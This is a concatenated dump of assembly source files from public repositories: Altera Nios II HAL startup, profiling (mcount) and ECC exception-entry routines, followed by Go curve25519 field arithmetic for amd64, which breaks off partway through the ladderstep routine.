* from 1 to NIOS2_NUM_OF_SHADOW_REG_SETS.
*/
movui r2, 0 /* Contains value written into STATUS */
movui r3, NIOS2_NUM_OF_SHADOW_REG_SETS /* counter */
movhi r4, 1 /* Constant to increment STATUS.PRS */
.Linitialize_shadow_registers:
/* Increment STATUS.PRS */
add r2, r2, r4
wrctl status, r2
/* Clear r0 in the shadow register set (not done by hardware) */
wrprs r0, r0
/* Write the GP in previous register set */
wrprs gp, gp
/*
* Only write the SP in previous register set
* if using the separate exception stack. For normal case (single stack),
* funnel code would read the SP from previous register set with a RDPRS.
*/
#ifdef ALT_INTERRUPT_STACK
movhi et, %hiadj(__alt_interrupt_stack_pointer)
addi et, et, %lo(__alt_interrupt_stack_pointer)
wrprs sp, et
#endif /* ALT_INTERRUPT_STACK */
#ifdef NIOS2_ECC_PRESENT
/*
* Initialize all general-purpose registers so that ECC can be enabled
* later without accidentally triggering a spurious ECC error.
*/
wrprs r1, r0
wrprs r2, r0
wrprs r3, r0
wrprs r4, r0
wrprs r5, r0
wrprs r6, r0
wrprs r7, r0
wrprs r8, r0
wrprs r9, r0
wrprs r10, r0
wrprs r11, r0
wrprs r12, r0
wrprs r13, r0
wrprs r14, r0
wrprs r15, r0
wrprs r16, r0
wrprs r17, r0
wrprs r18, r0
wrprs r19, r0
wrprs r20, r0
wrprs r21, r0
wrprs r22, r0
wrprs r23, r0
/* Skip r24 (et) because only exception handler should write it. */
/* Skip r25 (bt) because only debugger should write it. */
/* Skip r26 (gp) because it is already been initialized. */
/* Skip r27 (sp) because it was initialized above or will be by a rdprs if not above */
wrprs r28, r0 /* fp */
wrprs r29, r0 /* ea */
wrprs r30, r0 /* ba */
wrprs r31, r0 /* ra */
#endif /* NIOS2_ECC_PRESENT */
/* Decrement shadow register set counter */
addi r3, r3, -1
/* Done if index is 0. */
bne r3, zero, .Linitialize_shadow_registers
#endif /* (NIOS2_NUM_OF_SHADOW_REG_SETS > 0) */
/*
* Clear the BSS if not optimizing for RTL simulation.
*
* This uses the symbols: __bss_start and __bss_end, which are defined
* by the linker script. They mark the begining and the end of the bss
* region. The linker script guarantees that these values are word aligned.
*/
#ifndef ALT_SIM_OPTIMIZE
/* Log that the BSS is about to be cleared. */
ALT_LOG_PUTS(alt_log_msg_bss)
movhi r2, %hi(__bss_start)
ori r2, r2, %lo(__bss_start)
movhi r3, %hi(__bss_end)
ori r3, r3, %lo(__bss_end)
beq r2, r3, 1f
0:
stw zero, (r2)
addi r2, r2, 4
bltu r2, r3, 0b
1:
/*
* The following debug information tells the ISS not to run the loop above
* but to perform its actions using faster internal code.
*/
.pushsection .debug_alt_sim_info
.int 3, 1, 0b, 1b
.popsection
#endif /* ALT_SIM_OPTIMIZE */
/*
* The alt_load() facility is normally used when there is no bootloader.
* It copies some sections into RAM so it acts like a mini-bootloader.
*/
#ifdef CALL_ALT_LOAD
#ifdef ALT_STACK_CHECK
/*
* If the user has selected stack checking then we need to set up a safe
* value in the stack limit register so that the relocation functions
* don't think the stack has overflowed (the contents of the rwdata
* section aren't defined until alt_load() has been called).
*/
mov et, zero
#endif
call alt_load
#endif /* CALL_ALT_LOAD */
#ifdef ALT_STACK_CHECK
/*
* Set up the stack limit (if required). The linker has set up the
* copy of the variable which is in memory.
*/
ldw et, %gprel(alt_stack_limit_value)(gp)
#endif
/* Log that alt_main is about to be called. */
ALT_LOG_PUTS(alt_log_msg_alt_main)
/* Call the C entry point. It should never return. */
call alt_main
/* Wait in infinite loop in case alt_main does return. */
alt_after_alt_main:
br alt_after_alt_main
.size _start, . - _start
/*
* Add information about the stack base if stack overflow checking is enabled.
*/
#ifdef ALT_STACK_CHECK
.globl alt_stack_limit_value
.section .sdata,"aws",@progbits
.align 2
.type alt_stack_limit_value, @object
.size alt_stack_limit_value, 4
alt_stack_limit_value:
.long __alt_stack_limit
#endif
|
alberto-grl/1bitSDR | 8,293 | SDR_CycloneIII/software/sdr_bsp/HAL/src/alt_mcount.S | /******************************************************************************
* *
* License Agreement *
* *
* Copyright (c) 2003-2010 Altera Corporation, San Jose, California, USA. *
* All rights reserved. *
* *
* Permission is hereby granted, free of charge, to any person obtaining a *
* copy of this software and associated documentation files (the "Software"), *
* to deal in the Software without restriction, including without limitation *
* the rights to use, copy, modify, merge, publish, distribute, sublicense, *
* and/or sell copies of the Software, and to permit persons to whom the *
* Software is furnished to do so, subject to the following conditions: *
* *
* The above copyright notice and this permission notice shall be included in *
* all copies or substantial portions of the Software. *
* *
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR *
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, *
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE *
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER *
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING *
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER *
* DEALINGS IN THE SOFTWARE. *
* *
* This agreement shall be governed in all respects by the laws of the State *
* of California and by the laws of the United States of America. *
* *
******************************************************************************/
/* mcount or _mcount is inserted by GCC before the function prologue of every
* function when a program is compiled for profiling. At the start of mcount,
* we guarantee that:
* ra = self_pc (an address in the function which called mcount)
* r8 = from_pc (an address in the function which called mcount's caller)
*
* Because this is always called at the start of a function we can corrupt
* r2,r3 and r11-r15. We must not corrupt r4-r7 (because they might contain
* function arguments for the instrumented function) or r8 (which holds ra
* for the instrumented function).
*/
.global __mcount_fn_head
.global mcount
/* _mcount is used by gcc4 */
.global _mcount
_mcount:
mcount:
/* Use a hash to speed up locating fn_entry. We use bits 5 upwards to choose
* the bucket because bits 1:0 will always be 0, and because the distribution
* of values for bits 4:2 won't be even (aligning on cache line boundaries
* will skew it). Higher bits should be fairly random.
*/
/* fn_head = mcount_fn_head + (((unsigned int)self_pc >> 5) & (HASH_BUCKETS - 1)); */
srli r2, ra, 3
movhi r3, %hiadj(__mcount_fn_head)
addi r3, r3, %lo(__mcount_fn_head)
andi r2, r2, 0xFC
add r11, r2, r3
/* The fast case is where we have already allocated a function arc, and so
* also a function pointer.
*/
/* First find the function being called (using self_pc) */
mov r10, r11
0:
ldw r10, 0(r10)
beq r10, zero, .Lnew_arc
ldw r2, 4(r10)
bne r2, ra, 0b
/* Found a function entry for this PC. Now look for an arc with a matching
* from_pc value. There will always be at least one arc. */
ldw r3, 8(r10)
0:
ldw r2, 4(r3)
beq r2, r8, .Lfound_arc
ldw r3, 0(r3)
bne r3, zero, 0b
.Lnew_arc:
addi sp, sp, -24
.LCFI0:
stw ra, 0(sp)
stw r4, 4(sp)
stw r5, 8(sp)
stw r6, 12(sp)
stw r7, 16(sp)
stw r8, 20(sp)
.LCFI1:
/* __mcount_record(orig_ra, orig_r8, fn_entry, *fn_head); */
mov r4, ra
mov r5, r8
mov r6, r10
mov r7, r11
call __mcount_record
/* restore registers from the stack */
ldw ra, 0(sp)
ldw r4, 4(sp)
ldw r5, 8(sp)
ldw r6, 12(sp)
ldw r7, 16(sp)
ldw r8, 20(sp)
addi sp, sp, 24
.LCFI2:
ret
.Lfound_arc:
/* We've found the correct arc record. Increment the count and return */
ldw r2, 8(r3)
addi r2, r2, 1
stw r2, 8(r3)
ret
.Lmcount_end:
/*
* Dwarf2 debug information for the function. This provides GDB with the
* information it needs to backtrace out of this function.
*/
.section .debug_frame,"",@progbits
.LCIE:
.4byte 2f - 1f /* Length */
1:
.4byte 0xffffffff /* CIE id */
.byte 0x1 /* Version */
.string "" /* Augmentation */
.uleb128 0x1 /* Code alignment factor */
.sleb128 -4 /* Data alignment factor */
.byte 0x1f /* Return address register */
.byte 0xc /* Define CFA */
.uleb128 0x1b /* Register 27 (sp) */
.uleb128 0x0 /* Offset 0 */
.align 2 /* Padding */
2:
.LFDE_mcount:
.4byte 2f - 1f /* Length */
1:
.4byte .LCIE /* Pointer to CIE */
.4byte mcount /* Start of table entry */
.4byte .Lmcount_end - mcount /* Size of table entry */
.byte 0x4 /* Advance location */
.4byte .LCFI0 - mcount /* to .LCFI0 */
.byte 0xe /* Define CFA offset */
.uleb128 24 /* to 24 */
.byte 0x4 /* Advance location */
.4byte .LCFI1 - .LCFI0 /* to .LCFI1 */
.byte 0x9f /* Store ra */
.uleb128 0x6 /* at CFA-24 */
.byte 0x84 /* Store r4 */
.uleb128 0x5 /* at CFA-20 */
.byte 0x85 /* Store r5 */
.uleb128 0x4 /* at CFA-16 */
.byte 0x86 /* Store r6 */
.uleb128 0x3 /* at CFA-12 */
.byte 0x87 /* Store r7 */
.uleb128 0x2 /* at CFA-8 */
.byte 0x88 /* Store r8 */
.uleb128 0x1 /* at CFA-4 */
.byte 0x4 /* Advance location */
.4byte .LCFI2 - .LCFI1 /* to .LCFI2 */
.byte 0xe /* Define CFA offset */
.uleb128 0 /* to 0 */
.byte 0x8 /* Same value */
.uleb128 31 /* for ra */
.byte 0x8 /* Same value */
.uleb128 4 /* for r4 */
.byte 0x8 /* Same value */
.uleb128 5 /* for r5 */
.byte 0x8 /* Same value */
.uleb128 6 /* for r6 */
.byte 0x8 /* Same value */
.uleb128 7 /* for r7 */
.byte 0x8 /* Same value */
.uleb128 8 /* for r8 */
.align 2
2:
|
alberto-grl/1bitSDR | 5,245 | SDR_CycloneIII/software/sdr_bsp/HAL/src/alt_ecc_fatal_entry.S | /******************************************************************************
* *
* License Agreement *
* *
* Copyright (c) 2013 Altera Corporation, San Jose, California, USA. *
* All rights reserved. *
* *
* Permission is hereby granted, free of charge, to any person obtaining a *
* copy of this software and associated documentation files (the "Software"), *
* to deal in the Software without restriction, including without limitation *
* the rights to use, copy, modify, merge, publish, distribute, sublicense, *
* and/or sell copies of the Software, and to permit persons to whom the *
* Software is furnished to do so, subject to the following conditions: *
* *
* The above copyright notice and this permission notice shall be included in *
* all copies or substantial portions of the Software. *
* *
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR *
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, *
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE *
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER *
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING *
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER *
* DEALINGS IN THE SOFTWARE. *
* *
* This agreement shall be governed in all respects by the laws of the State *
* of California and by the laws of the United States of America. *
* *
******************************************************************************/
/*
* This is the code called at the beginning of the exception handler
* to detect a likely fatal ECC error exception and then jump to
* user-provided code to handle it.
*
* This code is pulled in from a .globl in alt_ecc_fatal_exception.c.
* This scheme is used so that if a handler is never registered, then this
* code will not appear in the generated executable, thereby improving
* code footprint.
*
* This code is located in its own section that the linker script
* explicitly mentions and ensures it gets linked at the beginning
* of the exception handler.
*/
/*
* Pull in the exception handler register save code.
*/
.globl alt_exception
.section .exceptions.entry.ecc_fatal, "xa"
/*
* This might be handling an unrecoverable ECC error exception
* in the register file and/or data cache.
* Must avoid reading registers or performing load/store instructions
* before this is determined because they could trigger another
* unrecoverable ECC error exception and create an infinite loop.
*
* The EXCEPTION register is always present when ECC is present.
* Bit 31 of this register indicates that there was an unrecoverable
* ECC error exception in the register file and/or data cache.
* Test this (using blt to check sign bit) to determine if this is
* what we are dealing with. Otherwise, just do normal processing.
*
* Jump to an application-provided routine to handle this condition.
* Pass in the return address in the et register in case this code
* can clean up the ECC error and then return here (unlikely).
*
* Runtime stack checking can't be enabled when ECC is present
* because they both want to use the et register.
*/
rdctl et, exception
bge et, r0, alt_exception_not_ecc_fatal /* Not ECCFTL if bit 31 is 0 */
/*
* Load ECC fatal handler pointer into et register.
* Using a ldwio is safe because it completely bypasses the data cache.
*/
movhi et, %hi(alt_exception_ecc_fatal_handler)
ori et, et, %lo(alt_exception_ecc_fatal_handler)
ldwio et, 0(et)
/*
* If ECC fatal handler pointer is not 0, assume a handler
* has been provided by the application.
*/
beq et, r0, alt_exception_not_ecc_fatal
/*
* The et register contains the address of the ECC fatal handler.
* Jump to this address to invoke the handler.
*/
jmp et
/*
* An ECC fatal handler can jump to this label if it able
* to recover from the fatal error (rare) and wants to continue
* with normal exception processing.
*/
.globl alt_exception_not_ecc_fatal
alt_exception_not_ecc_fatal:
|
albertrdixon/romulus | 2,358 | Godeps/_workspace/src/golang.org/x/crypto/curve25519/square_amd64.s | // Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// This code was translated into a form compatible with 6a from the public
// domain sources in SUPERCOP: http://bench.cr.yp.to/supercop.html
// +build amd64,!gccgo,!appengine
// func square(out, in *[5]uint64)
TEXT ·square(SB),7,$96-16
MOVQ out+0(FP), DI
MOVQ in+8(FP), SI
MOVQ SP,R11
MOVQ $31,CX
NOTQ CX
ANDQ CX,SP
ADDQ $32, SP
MOVQ R11,0(SP)
MOVQ R12,8(SP)
MOVQ R13,16(SP)
MOVQ R14,24(SP)
MOVQ R15,32(SP)
MOVQ BX,40(SP)
MOVQ BP,48(SP)
MOVQ 0(SI),AX
MULQ 0(SI)
MOVQ AX,CX
MOVQ DX,R8
MOVQ 0(SI),AX
SHLQ $1,AX
MULQ 8(SI)
MOVQ AX,R9
MOVQ DX,R10
MOVQ 0(SI),AX
SHLQ $1,AX
MULQ 16(SI)
MOVQ AX,R11
MOVQ DX,R12
MOVQ 0(SI),AX
SHLQ $1,AX
MULQ 24(SI)
MOVQ AX,R13
MOVQ DX,R14
MOVQ 0(SI),AX
SHLQ $1,AX
MULQ 32(SI)
MOVQ AX,R15
MOVQ DX,BX
MOVQ 8(SI),AX
MULQ 8(SI)
ADDQ AX,R11
ADCQ DX,R12
MOVQ 8(SI),AX
SHLQ $1,AX
MULQ 16(SI)
ADDQ AX,R13
ADCQ DX,R14
MOVQ 8(SI),AX
SHLQ $1,AX
MULQ 24(SI)
ADDQ AX,R15
ADCQ DX,BX
MOVQ 8(SI),DX
IMUL3Q $38,DX,AX
MULQ 32(SI)
ADDQ AX,CX
ADCQ DX,R8
MOVQ 16(SI),AX
MULQ 16(SI)
ADDQ AX,R15
ADCQ DX,BX
MOVQ 16(SI),DX
IMUL3Q $38,DX,AX
MULQ 24(SI)
ADDQ AX,CX
ADCQ DX,R8
MOVQ 16(SI),DX
IMUL3Q $38,DX,AX
MULQ 32(SI)
ADDQ AX,R9
ADCQ DX,R10
MOVQ 24(SI),DX
IMUL3Q $19,DX,AX
MULQ 24(SI)
ADDQ AX,R9
ADCQ DX,R10
MOVQ 24(SI),DX
IMUL3Q $38,DX,AX
MULQ 32(SI)
ADDQ AX,R11
ADCQ DX,R12
MOVQ 32(SI),DX
IMUL3Q $19,DX,AX
MULQ 32(SI)
ADDQ AX,R13
ADCQ DX,R14
MOVQ ·REDMASK51(SB),SI
SHLQ $13,R8:CX
ANDQ SI,CX
SHLQ $13,R10:R9
ANDQ SI,R9
ADDQ R8,R9
SHLQ $13,R12:R11
ANDQ SI,R11
ADDQ R10,R11
SHLQ $13,R14:R13
ANDQ SI,R13
ADDQ R12,R13
SHLQ $13,BX:R15
ANDQ SI,R15
ADDQ R14,R15
IMUL3Q $19,BX,DX
ADDQ DX,CX
MOVQ CX,DX
SHRQ $51,DX
ADDQ R9,DX
ANDQ SI,CX
MOVQ DX,R8
SHRQ $51,DX
ADDQ R11,DX
ANDQ SI,R8
MOVQ DX,R9
SHRQ $51,DX
ADDQ R13,DX
ANDQ SI,R9
MOVQ DX,AX
SHRQ $51,DX
ADDQ R15,DX
ANDQ SI,AX
MOVQ DX,R10
SHRQ $51,DX
IMUL3Q $19,DX,DX
ADDQ DX,CX
ANDQ SI,R10
MOVQ CX,0(DI)
MOVQ R8,8(DI)
MOVQ R9,16(DI)
MOVQ AX,24(DI)
MOVQ R10,32(DI)
MOVQ 0(SP),R11
MOVQ 8(SP),R12
MOVQ 16(SP),R13
MOVQ 24(SP),R14
MOVQ 32(SP),R15
MOVQ 40(SP),BX
MOVQ 48(SP),BP
MOVQ R11,SP
MOVQ DI,AX
MOVQ SI,DX
RET
|
albertrdixon/romulus | 2,878 | Godeps/_workspace/src/golang.org/x/crypto/curve25519/mul_amd64.s | // Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// This code was translated into a form compatible with 6a from the public
// domain sources in SUPERCOP: http://bench.cr.yp.to/supercop.html
// +build amd64,!gccgo,!appengine
// func mul(dest, a, b *[5]uint64)
TEXT ·mul(SB),0,$128-24
MOVQ dest+0(FP), DI
MOVQ a+8(FP), SI
MOVQ b+16(FP), DX
MOVQ SP,R11
MOVQ $31,CX
NOTQ CX
ANDQ CX,SP
ADDQ $32,SP
MOVQ R11,0(SP)
MOVQ R12,8(SP)
MOVQ R13,16(SP)
MOVQ R14,24(SP)
MOVQ R15,32(SP)
MOVQ BX,40(SP)
MOVQ BP,48(SP)
MOVQ DI,56(SP)
MOVQ DX,CX
MOVQ 24(SI),DX
IMUL3Q $19,DX,AX
MOVQ AX,64(SP)
MULQ 16(CX)
MOVQ AX,R8
MOVQ DX,R9
MOVQ 32(SI),DX
IMUL3Q $19,DX,AX
MOVQ AX,72(SP)
MULQ 8(CX)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 0(SI),AX
MULQ 0(CX)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 0(SI),AX
MULQ 8(CX)
MOVQ AX,R10
MOVQ DX,R11
MOVQ 0(SI),AX
MULQ 16(CX)
MOVQ AX,R12
MOVQ DX,R13
MOVQ 0(SI),AX
MULQ 24(CX)
MOVQ AX,R14
MOVQ DX,R15
MOVQ 0(SI),AX
MULQ 32(CX)
MOVQ AX,BX
MOVQ DX,BP
MOVQ 8(SI),AX
MULQ 0(CX)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 8(SI),AX
MULQ 8(CX)
ADDQ AX,R12
ADCQ DX,R13
MOVQ 8(SI),AX
MULQ 16(CX)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 8(SI),AX
MULQ 24(CX)
ADDQ AX,BX
ADCQ DX,BP
MOVQ 8(SI),DX
IMUL3Q $19,DX,AX
MULQ 32(CX)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 16(SI),AX
MULQ 0(CX)
ADDQ AX,R12
ADCQ DX,R13
MOVQ 16(SI),AX
MULQ 8(CX)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 16(SI),AX
MULQ 16(CX)
ADDQ AX,BX
ADCQ DX,BP
MOVQ 16(SI),DX
IMUL3Q $19,DX,AX
MULQ 24(CX)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 16(SI),DX
IMUL3Q $19,DX,AX
MULQ 32(CX)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 24(SI),AX
MULQ 0(CX)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 24(SI),AX
MULQ 8(CX)
ADDQ AX,BX
ADCQ DX,BP
MOVQ 64(SP),AX
MULQ 24(CX)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 64(SP),AX
MULQ 32(CX)
ADDQ AX,R12
ADCQ DX,R13
MOVQ 32(SI),AX
MULQ 0(CX)
ADDQ AX,BX
ADCQ DX,BP
MOVQ 72(SP),AX
MULQ 16(CX)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 72(SP),AX
MULQ 24(CX)
ADDQ AX,R12
ADCQ DX,R13
MOVQ 72(SP),AX
MULQ 32(CX)
ADDQ AX,R14
ADCQ DX,R15
MOVQ ·REDMASK51(SB),SI
SHLQ $13,R9:R8
ANDQ SI,R8
SHLQ $13,R11:R10
ANDQ SI,R10
ADDQ R9,R10
SHLQ $13,R13:R12
ANDQ SI,R12
ADDQ R11,R12
SHLQ $13,R15:R14
ANDQ SI,R14
ADDQ R13,R14
SHLQ $13,BP:BX
ANDQ SI,BX
ADDQ R15,BX
IMUL3Q $19,BP,DX
ADDQ DX,R8
MOVQ R8,DX
SHRQ $51,DX
ADDQ R10,DX
MOVQ DX,CX
SHRQ $51,DX
ANDQ SI,R8
ADDQ R12,DX
MOVQ DX,R9
SHRQ $51,DX
ANDQ SI,CX
ADDQ R14,DX
MOVQ DX,AX
SHRQ $51,DX
ANDQ SI,R9
ADDQ BX,DX
MOVQ DX,R10
SHRQ $51,DX
ANDQ SI,AX
IMUL3Q $19,DX,DX
ADDQ DX,R8
ANDQ SI,R10
MOVQ R8,0(DI)
MOVQ CX,8(DI)
MOVQ R9,16(DI)
MOVQ AX,24(DI)
MOVQ R10,32(DI)
MOVQ 0(SP),R11
MOVQ 8(SP),R12
MOVQ 16(SP),R13
MOVQ 24(SP),R14
MOVQ 32(SP),R15
MOVQ 40(SP),BX
MOVQ 48(SP),BP
MOVQ R11,SP
MOVQ DI,AX
MOVQ SI,DX
RET
|
albertrdixon/romulus | 20,398 | Godeps/_workspace/src/golang.org/x/crypto/curve25519/ladderstep_amd64.s | // Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// This code was translated into a form compatible with 6a from the public
// domain sources in SUPERCOP: http://bench.cr.yp.to/supercop.html
// +build amd64,!gccgo,!appengine
// func ladderstep(inout *[5][5]uint64)
TEXT ·ladderstep(SB),0,$384-8
MOVQ inout+0(FP),DI
MOVQ SP,R11
MOVQ $31,CX
NOTQ CX
ANDQ CX,SP
ADDQ $32,SP
MOVQ R11,0(SP)
MOVQ R12,8(SP)
MOVQ R13,16(SP)
MOVQ R14,24(SP)
MOVQ R15,32(SP)
MOVQ BX,40(SP)
MOVQ BP,48(SP)
MOVQ 40(DI),SI
MOVQ 48(DI),DX
MOVQ 56(DI),CX
MOVQ 64(DI),R8
MOVQ 72(DI),R9
MOVQ SI,AX
MOVQ DX,R10
MOVQ CX,R11
MOVQ R8,R12
MOVQ R9,R13
ADDQ ·_2P0(SB),AX
ADDQ ·_2P1234(SB),R10
ADDQ ·_2P1234(SB),R11
ADDQ ·_2P1234(SB),R12
ADDQ ·_2P1234(SB),R13
ADDQ 80(DI),SI
ADDQ 88(DI),DX
ADDQ 96(DI),CX
ADDQ 104(DI),R8
ADDQ 112(DI),R9
SUBQ 80(DI),AX
SUBQ 88(DI),R10
SUBQ 96(DI),R11
SUBQ 104(DI),R12
SUBQ 112(DI),R13
MOVQ SI,56(SP)
MOVQ DX,64(SP)
MOVQ CX,72(SP)
MOVQ R8,80(SP)
MOVQ R9,88(SP)
MOVQ AX,96(SP)
MOVQ R10,104(SP)
MOVQ R11,112(SP)
MOVQ R12,120(SP)
MOVQ R13,128(SP)
MOVQ 96(SP),AX
MULQ 96(SP)
MOVQ AX,SI
MOVQ DX,CX
MOVQ 96(SP),AX
SHLQ $1,AX
MULQ 104(SP)
MOVQ AX,R8
MOVQ DX,R9
MOVQ 96(SP),AX
SHLQ $1,AX
MULQ 112(SP)
MOVQ AX,R10
MOVQ DX,R11
MOVQ 96(SP),AX
SHLQ $1,AX
MULQ 120(SP)
MOVQ AX,R12
MOVQ DX,R13
MOVQ 96(SP),AX
SHLQ $1,AX
MULQ 128(SP)
MOVQ AX,R14
MOVQ DX,R15
MOVQ 104(SP),AX
MULQ 104(SP)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 104(SP),AX
SHLQ $1,AX
MULQ 112(SP)
ADDQ AX,R12
ADCQ DX,R13
MOVQ 104(SP),AX
SHLQ $1,AX
MULQ 120(SP)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 104(SP),DX
IMUL3Q $38,DX,AX
MULQ 128(SP)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 112(SP),AX
MULQ 112(SP)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 112(SP),DX
IMUL3Q $38,DX,AX
MULQ 120(SP)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 112(SP),DX
IMUL3Q $38,DX,AX
MULQ 128(SP)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 120(SP),DX
IMUL3Q $19,DX,AX
MULQ 120(SP)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 120(SP),DX
IMUL3Q $38,DX,AX
MULQ 128(SP)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 128(SP),DX
IMUL3Q $19,DX,AX
MULQ 128(SP)
ADDQ AX,R12
ADCQ DX,R13
MOVQ ·REDMASK51(SB),DX
SHLQ $13,CX:SI
ANDQ DX,SI
SHLQ $13,R9:R8
ANDQ DX,R8
ADDQ CX,R8
SHLQ $13,R11:R10
ANDQ DX,R10
ADDQ R9,R10
SHLQ $13,R13:R12
ANDQ DX,R12
ADDQ R11,R12
SHLQ $13,R15:R14
ANDQ DX,R14
ADDQ R13,R14
IMUL3Q $19,R15,CX
ADDQ CX,SI
MOVQ SI,CX
SHRQ $51,CX
ADDQ R8,CX
ANDQ DX,SI
MOVQ CX,R8
SHRQ $51,CX
ADDQ R10,CX
ANDQ DX,R8
MOVQ CX,R9
SHRQ $51,CX
ADDQ R12,CX
ANDQ DX,R9
MOVQ CX,AX
SHRQ $51,CX
ADDQ R14,CX
ANDQ DX,AX
MOVQ CX,R10
SHRQ $51,CX
IMUL3Q $19,CX,CX
ADDQ CX,SI
ANDQ DX,R10
MOVQ SI,136(SP)
MOVQ R8,144(SP)
MOVQ R9,152(SP)
MOVQ AX,160(SP)
MOVQ R10,168(SP)
MOVQ 56(SP),AX
MULQ 56(SP)
MOVQ AX,SI
MOVQ DX,CX
MOVQ 56(SP),AX
SHLQ $1,AX
MULQ 64(SP)
MOVQ AX,R8
MOVQ DX,R9
MOVQ 56(SP),AX
SHLQ $1,AX
MULQ 72(SP)
MOVQ AX,R10
MOVQ DX,R11
MOVQ 56(SP),AX
SHLQ $1,AX
MULQ 80(SP)
MOVQ AX,R12
MOVQ DX,R13
MOVQ 56(SP),AX
SHLQ $1,AX
MULQ 88(SP)
MOVQ AX,R14
MOVQ DX,R15
MOVQ 64(SP),AX
MULQ 64(SP)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 64(SP),AX
SHLQ $1,AX
MULQ 72(SP)
ADDQ AX,R12
ADCQ DX,R13
MOVQ 64(SP),AX
SHLQ $1,AX
MULQ 80(SP)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 64(SP),DX
IMUL3Q $38,DX,AX
MULQ 88(SP)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 72(SP),AX
MULQ 72(SP)
ADDQ AX,R14
ADCQ DX,R15
MOVQ 72(SP),DX
IMUL3Q $38,DX,AX
MULQ 80(SP)
ADDQ AX,SI
ADCQ DX,CX
MOVQ 72(SP),DX
IMUL3Q $38,DX,AX
MULQ 88(SP)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 80(SP),DX
IMUL3Q $19,DX,AX
MULQ 80(SP)
ADDQ AX,R8
ADCQ DX,R9
MOVQ 80(SP),DX
IMUL3Q $38,DX,AX
MULQ 88(SP)
ADDQ AX,R10
ADCQ DX,R11
MOVQ 88(SP),DX
IMUL3Q $19,DX,AX
MULQ 88(SP)
ADDQ AX,R12
ADCQ DX,R13
MOVQ ·REDMASK51(SB),DX
SHLQ $13,CX:SI
ANDQ DX,SI
SHLQ $13,R9:R8
ANDQ DX,R8
ADDQ CX,R8
SHLQ $13,R11:R10
ANDQ DX,R10
ADDQ R9,R10
SHLQ $13,R13:R12
ANDQ DX,R12
ADDQ R11,R12
SHLQ $13,R15:R14
ANDQ DX,R14
ADDQ R13,R14
IMUL3Q $19,R15,CX
ADDQ CX,SI
MOVQ SI,CX
SHRQ $51,CX
ADDQ R8,CX
ANDQ DX,SI
MOVQ CX,R8
SHRQ $51,CX
ADDQ R10,CX
ANDQ DX,R8
MOVQ CX,R9
SHRQ $51,CX
ADDQ R12,CX
ANDQ DX,R9
MOVQ CX,AX
SHRQ $51,CX
ADDQ R14,CX
ANDQ DX,AX
MOVQ CX,R10
SHRQ $51,CX
IMUL3Q $19,CX,CX
ADDQ CX,SI
ANDQ DX,R10
MOVQ SI,176(SP)
MOVQ R8,184(SP)
MOVQ R9,192(SP)
MOVQ AX,200(SP)
MOVQ R10,208(SP)
MOVQ SI,SI
MOVQ R8,DX
MOVQ R9,CX
MOVQ AX,R8
MOVQ R10,R9
ADDQ ·_2P0(SB),SI
ADDQ ·_2P1234(SB),DX
ADDQ ·_2P1234(SB),CX
ADDQ ·_2P1234(SB),R8
ADDQ ·_2P1234(SB),R9
SUBQ 136(SP),SI
SUBQ 144(SP),DX
SUBQ 152(SP),CX
SUBQ 160(SP),R8
SUBQ 168(SP),R9
MOVQ SI,216(SP)
MOVQ DX,224(SP)
MOVQ CX,232(SP)
MOVQ R8,240(SP)
MOVQ R9,248(SP)
MOVQ 120(DI),SI
MOVQ 128(DI),DX
MOVQ 136(DI),CX
MOVQ 144(DI),R8
MOVQ 152(DI),R9
MOVQ SI,AX
MOVQ DX,R10
MOVQ CX,R11
MOVQ R8,R12
MOVQ R9,R13
ADDQ ·_2P0(SB),AX
ADDQ ·_2P1234(SB),R10
ADDQ ·_2P1234(SB),R11
ADDQ ·_2P1234(SB),R12
ADDQ ·_2P1234(SB),R13
ADDQ 160(DI),SI
ADDQ 168(DI),DX
ADDQ 176(DI),CX
ADDQ 184(DI),R8
ADDQ 192(DI),R9
SUBQ 160(DI),AX
SUBQ 168(DI),R10
SUBQ 176(DI),R11
SUBQ 184(DI),R12
SUBQ 192(DI),R13
MOVQ SI,256(SP)
